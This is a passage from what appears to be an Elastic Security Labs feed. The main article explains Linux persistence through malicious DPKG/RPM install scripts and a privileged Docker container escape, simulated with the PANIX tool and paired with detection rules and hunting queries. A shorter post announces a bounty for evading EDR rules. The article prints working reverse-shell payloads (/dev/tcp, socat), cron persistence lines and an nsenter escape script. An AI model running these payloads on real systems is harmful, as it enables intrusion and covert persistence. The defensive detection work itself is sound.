immediately after a package is installed, allowing the attacker to gain initial access or establish persistence through malicious code.</p> <p>Upon installation, the <code>DPKG</code> scripts (<code>preinst</code>, <code>postinst</code>, <code>prerm</code>, and <code>postrm</code>) will be stored in the <code>/var/lib/dpkg/info/</code> directory and executed. Package installation logs are stored in <code>/var/log/dpkg.log</code>, and record commands like <code>dpkg -i</code> and the package names.</p> <p><strong>2. RPM (Red Hat Package Manager)</strong></p> <p><code>RPM</code>, the Red Hat Package Manager, is the default package manager for Red Hat-based distributions like Fedora, CentOS, and RHEL. It processes <code>.rpm</code> packages and supports script sections such as <code>%pre</code>, <code>%post</code>, <code>%preun</code>, and <code>%postun</code>, which execute at various stages of the package lifecycle. These scripts can be exploited by attackers to run arbitrary commands during installation, removal, or updates.</p> <p>A typical malicious RPM package might include a <code>%post</code> script embedded directly in the package’s <code>spec</code> file. For example, a <code>%post</code> script could launch a reverse shell or modify critical system configurations immediately after the package installation completes. An example package layout could look as follows:</p> <pre><code>~/rpmbuild/ ├── SPECS/ │ ├── malicious_package.spec ├── BUILD/ ├── RPMS/ ├── SOURCES/ ├── SRPMS/ </code></pre> <p>Upon installation, <code>RPM</code> runs the <code>%post</code> script, allowing the attacker to execute the payload. The package manager logs installation activity in <code>/var/log/rpm.log</code>, which includes the names and timestamps of installed packages. Additionally, the built <code>RPM</code> package is stored in <code>/var/lib/rpm/</code>.</p> <h3>Persistence through T1546.016 - Installer Packages: DPKG & RPM</h3> <p>PANIX can establish persistence through both <code>DPKG</code> and <code>RPM</code> within the <a href="https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_package.sh">setup_malicious_package.sh</a> module. Starting with <code>DPKG</code>, the directory structure is created, the control file is written and the payload is added to the <code>postinst</code> file:</p> <pre><code># DPKG package setup PACKAGE_NAME="panix" PACKAGE_VERSION="1.0" DEB_DIR="${PACKAGE_NAME}/DEBIAN" PAYLOAD="#!/bin/sh\nnohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' &" # Create directory structure mkdir -p ${DEB_DIR} # Write postinst script echo -e "${PAYLOAD}" > ${DEB_DIR}/postinst chmod +x ${DEB_DIR}/postinst # Write control file echo "Package: ${PACKAGE_NAME}" > ${DEB_DIR}/control echo "Version: ${PACKAGE_VERSION}" >> ${DEB_DIR}/control echo "Architecture: all" >> ${DEB_DIR}/control echo "Maintainer: https://github.com/Aegrah/PANIX" >> ${DEB_DIR}/control echo "Description: This malicious package was added through PANIX" >> ${DEB_DIR}/control </code></pre> <p>Afterwards, all that is left is to build the package with <code>dpkg-deb</code> and install it through <code>dpkg</code>.</p> <pre><code># Build the .deb package dpkg-deb --build ${PACKAGE_NAME} # Install the .deb package dpkg -i ${PACKAGE_NAME}.deb </code></pre> <p>Upon installation, or updating of the package, the payload will be executed. In order to persist on a regular interval, any other persistence mechanism can be used. PANIX leverages <code>Cron</code>:</p> <p><code>echo "*/1 * * * * /var/lib/dpkg/info/${PACKAGE_NAME}.postinst configure > /dev/null 2>&1" | crontab -</code></p> <p>To forcefully install the package on a certain interval. This is of course not a stealthy mechanism, but serves as a proof of concept to emulate the technique. Let’s run the payload, and analyze the simulated events in Kibana:</p> <pre><code>sudo ./panix.sh --malicious-package --dpkg --ip 192.168.100.1 --port 2019 dpkg-deb: building package 'panix' in 'panix.deb'. Preparing to unpack panix.deb ... Unpacking panix (1.0) over (1.0) ... Setting up panix (1.0) ... nohup: appending output to 'nohup.out' [+] Malicious package persistence established. </code></pre> <p>Looking at the events generated in Kibana, we can see the following sequence:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/approaching-the-summit-on-persistence/image2.png" alt="PANIX malicious-package module execution visualized in Kibana (DPKG)" /></p> <p>PANIX is executed via <code>sudo</code>, after which the <code>postinst</code> and <code>control</code> files are created. The package is then built using <code>dpkg-deb</code>, and installed with <code>dpkg -i</code>. Here we can see the <code>/var/lib/dpkg/info/panix.postinst</code> executing the reverse shell execution chain (<code>nohup</code> → <code>setsid</code> → <code>bash</code>). After installation, the <code>crontab</code> is altered to establish persistence on a one-minute interval.</p> <p><strong>RPM</strong></p> <p>For <code>RPM</code>, a similar flow as <code>DPKG</code> is leveraged. The package is set up using the correct <code>RPM</code> package structure, and the <code>%post</code> section is set to contain the payload that gets triggered after installation:</p> <pre><code># RPM package setup PACKAGE_NAME="panix" PACKAGE_VERSION="1.0" cat <<-EOF > ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec Name: ${PACKAGE_NAME} Version: ${PACKAGE_VERSION} Release: 1%{?dist} Summary: RPM package with payload script License: MIT %description RPM package with a payload script that executes a reverse shell. %prep # No need to perform any preparation actions %install # Create directories mkdir -p %{buildroot}/usr/bin %files # No need to specify any files here since the payload is embedded %post # Trigger payload after installation nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & %clean rm -rf %{buildroot} %changelog * $(date +'%a %b %d %Y') John Doe <john.doe@example.com> 1.0-1 - Initial package creation </code></pre> <p>Next, the <code>RPM</code> package is built using <code>rpmbuild</code>, and installed with <code>rpm</code>:</p> <pre><code># Build RPM package rpmbuild -bb ~/rpmbuild/SPECS/${PACKAGE_NAME}.spec # Install RPM package with forced overwrite VER=$(grep VERSION_ID /etc/os-release | cut -d '"' -f 2 | cut -d '.' -f 1) rpm -i --force ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm mv ~/rpmbuild/RPMS/x86_64/${PACKAGE_NAME}-1.0-1.el${VER}.x86_64.rpm /var/lib/rpm/${PACKAGE_NAME}.rpm </code></pre> <p>Upon installation, the payload will be executed. Again, the following <code>Cron</code> job is created to ensure persistence on a one-minute interval:</p> <p><code>echo "*/1 * * * * rpm -i --force /var/lib/rpm/${PACKAGE_NAME}.rpm > /dev/null 2>&1" | crontab</code></p> <p>Let’s examine the traces that the <code>RPM</code> package technique leaves behind:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/approaching-the-summit-on-persistence/image5.png" alt="PANIX malicious-package module execution visualized in Kibana (RPM)" /></p> <p>Upon PANIX execution, the <code>panix.spec</code> file is created and populated. Next, <code>rpmbuild</code> is used to build the package, and <code>rpm -i</code> is executed to install the package. Upon installation, the <code>%post</code> payload is executed, leading to an execution of the reverse shell chain (<code>nohup</code> → <code>setsid</code> → <code>bash</code>) with a <code>process.parent.command_line</code> of <code>/bin/sh /var/tmp/rpm-tmp.HjtRV5 1</code>, indicating the execution of an <code>RPM</code> package. After installation, <code>Crontab</code> is altered to execute the payload once, at one minute intervals for consistency.<br /> Let’s take a look at the coverage:</p> <p><em>Detection and endpoint rules that cover installer package (DPKG & RPM) persistence</em></p> <table> <thead> <tr> <th align="left">Category</th> <th align="left">Coverage</th> </tr> </thead> <tbody> <tr> <td align="left">Process</td> <td align="left"><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_rpm_package_installation_from_unusual_parent.toml">RPM Package Installed by Unusual Parent Process</a> <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_unusual_execution.toml">Unusual DPKG Execution</a> <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_dpkg_package_installation_from_unusual_parent.toml">DPKG Package Installed by Unusual Parent Process</a></td> </tr> <tr> <td align="left">Network</td> <td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_default_dpkg_directory.toml">Egress Network Connection from Default DPKG Directory</a> <a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_egress_network_connection_from_rpm_package.toml">Egress Network Connection from RPM Package</a></td> </tr> </tbody> </table> <p>You can revert the changes made by PANIX by running the following revert command:</p> <pre><code>> ./panix.sh --revert malicious-package [+] Reverting malicious package... [+] Removing DPKG package 'panix'... [+] DPKG package 'panix' removed successfully. [+] Removing cron job associated with 'panix'... [+] Cron job removed. [+] Cleaning up '/var/lib/dpkg/info'... [+] Cleanup completed. </code></pre> <h3>Hunting for T1546.016 - Installer Packages: DPKG & RPM</h3> <p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to package management tools. The approach includes monitoring for the following:</p> <ul> <li><strong>File creation or modification in package management directories:</strong> Tracks unusual changes to files in paths like <code>/var/lib/dpkg/info/</code> and <code>/var/lib/rpm/</code>, excluding common benign patterns such as checksum or list files.</li> <li><strong>Processes executed from lifecycle scripts:</strong> Observes commands and processes launched from directories like <code>/var/tmp/rpm-tmp.*</code> and <code>/var/lib/dpkg/info/</code>, which may indicate suspicious or unauthorized activity.</li> <li><strong>Detailed metadata on modified files:</strong> Uses OSQuery to gather additional file metadata, including ownership and timestamps, for forensic analysis of package management activity.</li> </ul> <p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_rpm_dpkg_installer_packages.md">Persistence via DPKG/RPM Package</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1546/016/">T1546.016</a>.</p> <h1>T1610 - Deploy Container</h1> <p>Host escape involves exploiting vulnerabilities, misconfigurations, or excessive permissions in containerized or virtualized environments to gain access to the underlying host system. Technologies like Docker, Kubernetes, and VMware aim to isolate workloads, but improper configurations or shared resources can allow attackers to break out of the container and compromise the host. MITRE tracks container deployment under identifier <a href="https://attack.mitre.org/techniques/T1610/">T1610</a>.</p> <h2>T1610 - Deploy Container: Malicious Docker Container</h2> <p>Docker containers are particularly susceptible to host escapes when improperly secured. Attackers may exploit vulnerabilities or misconfigurations in two main ways:</p> <p><strong>1. Manipulating a Running Container</strong></p> <p>Attackers abuse misconfigured containers to execute commands affecting the host. Common scenarios include:</p> <ul> <li><strong>Privileged Mode</strong>: Containers running with <code>--privileged</code> can directly interact with host resources. For example, attackers may load kernel modules or access host-level devices.</li> <li><strong>Excessive Capabilities</strong>: Containers with the <code>CAP_SYS_ADMIN</code> capability can perform privileged operations, such as mounting filesystems or accessing <code>/dev</code> devices.</li> <li><strong>Sensitive Volume Access</strong>: Volumes like <code>/var/run/docker.sock</code> allow attackers to issue Docker commands to the host.</li> <li><strong>Host Namespace Access</strong>: Containers configured with <code>--pid=host</code> or <code>--net=host</code> expose the host's process and network namespaces. Attackers can escalate privileges by targeting processes or manipulating network configurations directly.</li> </ul> <p><strong>2. Deploying a Malicious Container</strong></p> <p>Attackers deploy custom containers designed to break out of isolation. These containers often include:</p> <ul> <li>Exploits targeting runtime vulnerabilities or kernel bugs.</li> <li>Scripts for privilege escalation or persistence, such as reverse shells or C2 beacons.</li> <li>Malicious configurations enabling unauthorized access to host resources.</li> </ul> <p>In the next section, we will take a look at an example of a malicious docker container implementation.</p> <h3>Persistence through T1610 - Deploy Container: Malicious Docker Container</h3> <p>In this scenario, we will take a look at how to simulate the creation of an exemplary malicious Docker container through PANIX. Within the <a href="https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_malicious_docker_container.sh">setup_malicious_docker_container.sh</a> module, PANIX creates a Dockerfile with the following contents:</p> <pre><code>FROM alpine:latest RUN apk add --no-cache bash socat sudo util-linux procps RUN adduser -D lowprivuser RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh \\ && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:$ip:$port"; sleep 60; done' >> /usr/local/bin/entrypoint.sh \\ && chmod +x /usr/local/bin/entrypoint.sh RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh \\ && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh \\ && chmod +x /usr/local/bin/escape.sh \\ && echo 'lowprivuser ALL=(ALL) NOPASSWD: /usr/bin/nsenter' >> /etc/sudoers USER lowprivuser ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] </code></pre> <p>The Dockerfile sets up a lightweight Alpine Linux container with tools like <code>bash</code>, <code>socat</code>, and <code>nsenter</code>. The <code>entrypoint.sh</code> script ensures continuous reverse shell access by repeatedly connecting to a remote server using <code>socat</code>. The <code>escape.sh</code> script, which is granted passwordless <code>sudo</code> permissions, uses <code>nsenter</code> to attach to the host's namespaces (e.g., mount, network, PID) via the init process, effectively breaking container isolation.</p> <p>The container is built using:</p> <p><code>docker build -t malicious-container -f $DOCKERFILE . && \</code></p> <p>Where the <code>-t</code> flag tags the container for easy identification, and <code>-f</code> specifies the Dockerfile path.</p> <p>It is then run with:</p> <p><code>docker run -d --name malicious-container --privileged --pid=host malicious-container</code></p> <p>Where the <code>--privileged</code> flag allows full access to host resources, bypassing Docker’s isolation mechanisms, while <code>--pid=host</code> shares the host's process namespace, enabling the container to interact directly with host-level processes.</p> <p>To test this technique, Docker must be installed, and the user running the simulation must either have root or docker group permissions. Let’s run the payload and examine the logs through the execution of the following PANIX command:</p> <pre><code>sudo ./panix.sh --malicious-container --ip 192.168.100.1 --port 2021 => [1/5] FROM [installing ...] => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps => [3/5] RUN adduser -D lowprivuser => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec: => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' 9543f7ce4c6a8defcad36358f00eb4d38a85a8688cc8ecd5f15a5a2d3f43383b [+] Malicious Docker container created and running. [+] Reverse shell is executed every minute. [+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'. [+] Docker container persistence established! </code></pre> <p>After catching the shell on the attacker’s machine, run the <code>/usr/local/bin/escape.sh</code> script to escape the container:</p> <pre><code>❯ nc -nvlp 2021 listening on [any] 2021 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 44726 9543f7ce4c6a:/$ /usr/local/bin/escape.sh root@debian10-persistence:~# hostname debian10-persistence </code></pre> <p>Upon execution, the following logs are generated:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/approaching-the-summit-on-persistence/image6.png" alt="PANIX malicious-container module execution visualized in Kibana" /></p> <p>The execution of <code>panix.sh</code> initiates the creation of the <code>/tmp/Dockerfile</code>. The build command is then executed to create the container based on the specified configuration. Once built, the container is launched with the <code>--privileged</code> and <code>--pid=host</code> flags, enabling the necessary capabilities for host escape. Upon startup, the container runs the <code>/usr/local/bin/entrypoint.sh</code> script, which successfully establishes a reverse shell connection to the attacker’s machine using <code>socat</code>. After the shell is caught, the <code>/usr/local/bin/escape.sh</code> script is executed, effectively breaking out of the container and gaining access to the host.</p> <p>Let’s take a look at the coverage:</p> <p><em>Detection and endpoint rules that cover malicious Docker container persistence</em></p> <table> <thead> <tr> <th align="left">Category</th> <th align="left">Coverage</th> </tr> </thead> <tbody> <tr> <td align="left">Process</td> <td align="left"><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_potentially_overly_permissive_container_creation.toml">Privileged Docker Container Creation</a> <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_escape_via_nsenter.toml">Docker Escape via Nsenter</a> <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_docker_mount_chroot_container_escape.toml">Potential Chroot Container Escape via Mount</a> <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_container_util_misconfiguration.toml">Potential Privilege Escalation via Container Misconfiguration</a> <a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_writable_docker_socket.toml">Potential Privilege Escalation through Writable Docker Socket</a></td> </tr> <tr> <td align="left">Network</td> <td align="left"><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_egress_connection_from_entrypoint_in_container.toml">Egress Connection from Entrypoint in Container</a></td> </tr> </tbody> </table> <p>Besides the rules mentioned above, we also have a dedicated set of container rules that leverages our <a href="https://www.elastic.co/guide/en/integrations/current/cloud_defend.html">Defend for Containers integration</a>, which can be found in the <a href="https://github.com/elastic/detection-rules/tree/main/rules/integrations/cloud_defend">cloud_defend</a> directory of our <a href="https://github.com/elastic/detection-rules">detection-rules repository</a>. We have also extended our protections through the integration of Falco with Elastic Security. This integration significantly enhances threat detection directly at the edge — whether in Docker containers, Kubernetes clusters, Linux virtual machines, or bare metal environments. By introducing dedicated Falco connectors, we've strengthened Elastic's capabilities to improve cloud workload protection and endpoint security strategies.</p> <p>For a deeper dive into how our Falco integration secures container workloads, check out our recent blog, <em>“<a href="https://www.elastic.co/blog/falco-elastic-security-cloud-workload-protection">Securing the Edge: Harnessing Falco’s Power with Elastic Security for Cloud Workload Protection</a>”</em>. The blog covers Falco setup, rule creation, alerting, and explores various threat scenarios.</p> <p>You can revert the changes made by PANIX by running the following revert command:</p> <pre><code>> ./panix.sh --revert malicious-container [+] Stopping and removing the 'malicious-container'... [+] Container 'malicious-container' stopped and removed. [+] Removing Docker image 'malicious-container'... [+] Docker image 'malicious-container' removed. [+] Removing Dockerfile at /tmp/Dockerfile... [+] Dockerfile removed. </code></pre> <h3>Hunting for T1610 - Deploy Container: Malicious Docker Container</h3> <p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious container activity and configurations. The approach includes monitoring for the following:</p> <ul> <li><strong>Unusual network connections from Docker containers:</strong> Tracks connections to external or non-local IP addresses initiated by processes under <code>/var/lib/docker/*</code>.</li> <li><strong>Privileged Docker containers:</strong> Identifies containers running in privileged mode, which pose a higher risk of host compromise.</li> <li><strong>Recently created containers and images:</strong> Observes Docker containers and images created or pulled within the last 7 days to detect unauthorized deployments or suspicious additions.</li> <li><strong>Sensitive host directory mounts:</strong> Monitors container mounts accessing paths like <code>/var/run/docker.sock</code>, <code>/etc</code>, or the root directory (<code>/</code>), which could enable container escape or unauthorized host access.</li> </ul> <p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_malicious_docker_container.md">Persistence via Docker Container</a> hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to <a href="https://attack.mitre.org/techniques/T1610/">T1610</a>.</p> <h1>Conclusion</h1> <p>In this fourth chapter of the "Linux Detection Engineering" series, we examined additional persistence techniques that adversaries may leverage on Linux systems. We explored the abuse of PAM modules and <code>pam_exec</code> for executing malicious code during authentication events. After PAM, we looked into installer package manipulation via <code>RPM</code> and <code>DPKG</code>, where lifecycle scripts are weaponized for persistence during the package installation/updating process. We finalized this part by examining malicious Docker containers, detailing how privileged containers and host-level access can be exploited for persistence and container escape.</p> <p>These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. By leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a> to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided, you can build robust defenses and fine-tune your detection strategies.</p>]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/approaching-the-summit-on-persistence/Security Labs Images 32.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Announcing the Elastic Bounty Program for Behavior Rule Protections]]></title> <link>https://www.elastic.co/security-labs/behavior-rule-bug-bounty</link> <guid>behavior-rule-bug-bounty</guid> <pubDate>Wed, 29 Jan 2025 00:00:00 GMT</pubDate> <description><![CDATA[Elastic is launching an expansion of its security bounty program, inviting researchers to test its SIEM and EDR rules for evasion and bypass techniques, starting with Windows endpoints. This initiative strengthens collaboration with the security community, ensuring Elastic’s defenses remain robust against evolving threats.]]></description> <content:encoded><![CDATA[<h2>Introduction</h2> <p>We’re excited to introduce a new chapter in <a href="https://hackerone.com/elastic?type=team">our security bounty program</a> on HackerOne that we soft launched in December 2024. Elastic is now offering a unique opportunity for researchers to test our <a href="https://github.com/elastic/detection-rules">detection</a> rules (SIEM) and <a href="https://github.com/elastic/protections-artifacts/tree/main/behavior">endpoint</a> rules (EDR), helping to identify gaps, vulnerabilities, and areas for improvement. This program builds on the success of our existing collaboration with the security research community, with a fresh focus on external validation for SIEM and EDR rule protections, which are provided as prebuilt content for <a href="https://www.elastic.co/security">Elastic Security</a> and deeply connected to the threat research published on <a href="https://www.elastic.co/security-labs">Elastic Security Labs</a>.</p> <p>At Elastic, <a href="https://www.elastic.co/blog/continued-leadership-in-open-and-transparent-security">openness</a> has always been at the core of our philosophy. We prioritize being transparent about <em>how</em> we protect our users. Our protections for SIEM and EDR are not hidden behind a curtain or paywall. Anyone can examine and provide immediate feedback on our protections. This feedback pipeline has proven to be a powerful enabler to refine and improve, while fostering collaboration with security professionals worldwide.</p> <p>While we have performed various forms of testing internally over the years, some of which still exist today — such as emulations via internal automation capabilities, unit tests, evaluations, smoke tests, peer review processes, pen tests, and participating in exercises like <a href="https://www.elastic.co/blog/nation-states-cyber-threats-locked-shields">Locked Shields</a>, we want to take it one step further. By inviting the global security community to test our rules, we plan to push the maturity of our detection capabilities forward and ensure they remain resilient against evolving adversary techniques.</p> <h2>Elastic’s security bug bounty program offering</h2> <p>Elastic maintains a mature and proactive public bug bounty program, launched in 2017 which has paid out over $600,000 in awards since then. We value our continued partnership with the security research community to maintain the effectiveness of these artifacts, shared with the community to identify known and newly-discovered threats.</p> <p>The scope of our bounty has included Elastic’s development supply chain, <a href="https://www.elastic.co/cloud">Elastic Cloud</a>, <a href="https://www.elastic.co/elastic-stack">the Elastic Stack</a>, our product solutions, and our corporate infrastructure. This initiative provides researchers with additional guided challenges and bonus structures that will contribute directly to hardening our security detection solutions.</p> <h2>A new bounty focus: Elastic Security rule assessments</h2> <p>This latest offering marks an exciting shift by expanding the scope of our bounty program to specifically focus on detection rulesets for the first time. While bounties have traditionally targeted vulnerabilities in products and platforms, this program invites the community to explore new ground: testing for evasion and bypass techniques that affect our rules.</p> <p>By initially targeting rules for Windows endpoints, this initiative creates an opportunity for the security community to showcase creative ways of evading our defenses. The focus areas for this period include key <a href="https://attack.mitre.org/">MITRE ATT&CK techniques</a>.</p> <h3>Why this is important</h3> <p>Elastic has consistently collaborated with our community, particularly through our community Slack, where members regularly provide feedback on our detection rules. This new bounty program doesn’t overshadow the incredible contributions already made: it adds another layer of involvement, offering a structured way to reward those who have dedicated time and effort to help us and our community defend against threats of all kinds.</p> <p>By expanding our program to include detection rulesets, we’re offering researchers the chance to engage in a way that has a direct impact on our defenses. We demonstrate our belief in continuous improvement, ensuring we stay ahead of adversaries, and lead the industry in creative, yet exciting ways.</p> <h2>Summary scope and rewards</h2> <p>For this initial offering, the bounty scope focuses on evasion techniques related to our detection (SIEM) and endpoint (EDR) rulesets, particularly for Windows. We are interested in submissions that focus on areas like:</p> <ul> <li><strong>Privilege evasion:</strong> Techniques that bypass detection without requiring elevated privileges</li> <li><strong>MITRE ATT&CK technique evasion:</strong> Creative bypasses of detection rules for specific techniques such as process injection, credential dumping, creative initial/execution access, lateral movement, and others</li> </ul> <p>Submissions will be evaluated based on their impact and complexity. Over time, we plan the scope will evolve so watch out for future announcements and the Hackerone offering.</p> <p>For a full list of techniques and detailed submission guidelines, view current offering.</p> <h4>Time bounds</h4> <p>For this bounty incubation period (Jan 28th 2025 - May 1 2025), the scope will be <em>Windows Behavior Alerts</em>.</p> <h2>Current offering</h2> <h3>Behavior detections</h3> <p>Elastic invites the security community to contribute to the continuous improvement of our detection (SIEM) and endpoint (EDR) rulesets. Our mission is to enhance the effectiveness and coverage of these rulesets, ensuring they remain resilient against the latest threats and sophisticated techniques. We encourage hackers to identify gaps, bypasses, or vulnerabilities in specific areas of our rulesets as defined in the scope below.</p> <h4>What we’re looking for</h4> <p>We are particularly interested in submissions that focus on:</p> <ul> <li><strong>Privileges</strong>: Priority is given to bypass and evasion techniques that do not require elevated privileges.</li> <li><strong>Techniques Evasion</strong>: If a submission bypasses a single behavior detection but still triggers alerts, then it is not considered as a full bypass.</li> </ul> <p>Submissions will be evaluated based on their impact and complexity. The reward tiers are structured as follows:</p> <ul> <li><strong>Low</strong>: Alerts generated are only low severity</li> <li><strong>Medium</strong>: No alerts generated (SIEM or Endpoint)</li> <li><strong>High</strong>: —</li> <li><strong>Critical</strong>: —</li> </ul> <h4>Rule definition</h4> <p>To ensure that submissions are aligned with our priorities, each offering under this category will be scoped to a specific domain, MITRE tactic, or area of interest. This helps us focus on the most critical areas while preventing overly broad submissions.</p> <p>General examples of specific scopes offered at specific times might include:</p> <ul> <li><strong>Endpoint Rules:</strong> Testing for bypasses or privilege escalation rules within macOS, Linux, Windows platforms.</li> <li><strong>Cloud Rules:</strong> Assessing the detection capabilities against identity-based attacks within AWS, Azure, GCP environments.</li> <li><strong>SaaS Platform Rules:</strong> Validating the detection of OAuth token misuse or API abuse in popular SaaS applications.</li> </ul> <h4>Submission guidelines</h4> <p>To be eligible for a bounty, submissions must:</p> <ol> <li><strong>Align with the Defined Scope:</strong> Submissions should strictly adhere to the specific domain, tactic, or area of interest as outlined in the bounty offering.</li> <li><strong>Provide Reproducible Results:</strong> Include detailed, step-by-step instructions for reproducing the issue.</li> <li><strong>Demonstrate Significant Impact:</strong> Show how the identified gap or bypass could lead to security risks while not triggering any SIEM or EDR rules within the scope of the <strong>Feature Details</strong>.</li> <li><strong>Include Comprehensive Documentation:</strong> Provide all necessary code, scripts, or configurations used in the testing process to ensure the issue can be independently validated. The submission includes logs, screenshots, or other evidence showing that the attack successfully bypassed specific rules without triggering alerts, providing clear proof of the issue.</li> </ol> <h4>Feature details scope</h4> <p>For this offering, here are additional details to further scope down submissions for this period:</p> <ul> <li><strong>Target:</strong> <em>Windows Behavior Alerts</em></li> <li><strong>Scenario</strong> <ul> <li>Goal: Gain execution of an arbitrary attacker delivered executable on a system protected by Elastic Defend without triggering any alerts</li> <li>Story: User downloads a single non-executable file from their web browser and opens it. They may click through any security warnings that are displayed by the operating system</li> <li>Extensions in scope: lnk, js, jse, wsf, wsh, msc, vbs, vbe, chm, psc1, rdp</li> <li>Entire scenario must occur within 5 minutes, but a reboot is allowed</li> </ul> </li> <li><strong>Relevant MITRE Techniques:</strong> <ul> <li><a href="https://attack.mitre.org/techniques/T1055">Process Injection, Technique T1055 - Enterprise | MITRE ATT&CK®</a> into Windows processes</li> <li>Lateral Movement via <a href="https://attack.mitre.org/techniques/T1021">Remote Services, Technique T1021 - Enterprise | MITRE ATT&CK®</a> and credentials</li> <li><a href="https://attack.mitre.org/techniques/T1566/001/">Phishing: Spearphishing Attachment, Sub-technique T1566.001 - Enterprise | MITRE ATT&CK®</a> (macro enabled docs, script, shortcuts etc.)</li> <li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools, Sub-technique T1562.001 - Enterprise | MITRE ATT&CK®</a> (tampering with agents without administrative privileges techniques or techniques related to tampering with Elastic agent, PPL bypass, BYOVD etc.)</li> </ul> </li> <li><strong>Additional Success Criteria:</strong> <ul> <li>Ideally the bypasses can be combined in one chain (e.g. one payload performing multiple techniques and bypassing multiple existing rules scoped for the same techniques) - to avoid bypasses based solely on our public FP exclusions.</li> <li>For phishing-based initial access techniques, submissions must clearly specify the delivery method, including how the target receives and interacts with the payload (e.g., email attachment, direct download, or cloud file sharing).</li> </ul> </li> <li><strong>Additional Exclusions:</strong></li> </ul> <p>Here are some examples of non-acceptable submissions, but not limited to:</p> <ul> <li>Techniques that rely on small x-process WriteProcessMemory</li> <li>Techniques that rely on sleeps or other timing evasion methods</li> <li>Techniques that rely on kernel mode attacks and require administrative privileges</li> <li>Techniques that rely on <a href="https://attack.mitre.org/techniques/T1566/">Phishing, Technique T1566 - Enterprise | MITRE ATT&CK®</a> that are user assisted beyond initial access (e.g. beyond 2 or more user clicks)</li> <li>Techniques that rely on well-documented information already in public repositories or widely recognized within the security community without any novel evasion or modification.</li> <li>Techniques that rely on legacy / unpatched systems</li> <li>Techniques that rely on highly specific environmental conditions or external factors that are unlikely to occur in realistic deployment scenarios</li> <li>Techniques that rely on rule exceptions</li> </ul> <h4>Questions and disclosure</h4> <p>Please view our <a href="https://www.elastic.co/community/security">Security Issues</a> page for any questions or concerns related to this offering.</p> <h2>How to get involved</h2> <p>To participate and learn more, head over to<a href="https://hackerone.com/elastic"> HackerOne</a> for complete details on the bounty program, submission guidelines, and reward tiers. We look forward to seeing the contributions from the research community and using these findings to continuously enhance the Elastic Security rulesets. Sign up for a <a href="https://www.elastic.co/cloud/cloud-trial-overview">free cloud trial</a> to access Elastic Security!</p> <p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/behavior-rule-bug-bounty/behavior-rule-bug-bounty.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Linux Detection Engineering - A Continuation on Persistence Mechanisms]]></title> <link>https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms</link> <guid>continuation-on-persistence-mechanisms</guid> <pubDate>Mon, 27 Jan 2025 00:00:00 GMT</pubDate> <description><![CDATA[This document continues the exploration of Linux detection engineering, emphasizing advancements in monitoring persistence mechanisms. By building on past practices and insights, it provides a roadmap for improving detection strategies in complex environments.]]></description> <content:encoded><![CDATA[<h2>Introduction</h2> <p>Welcome to part three of the Linux Persistence Detection 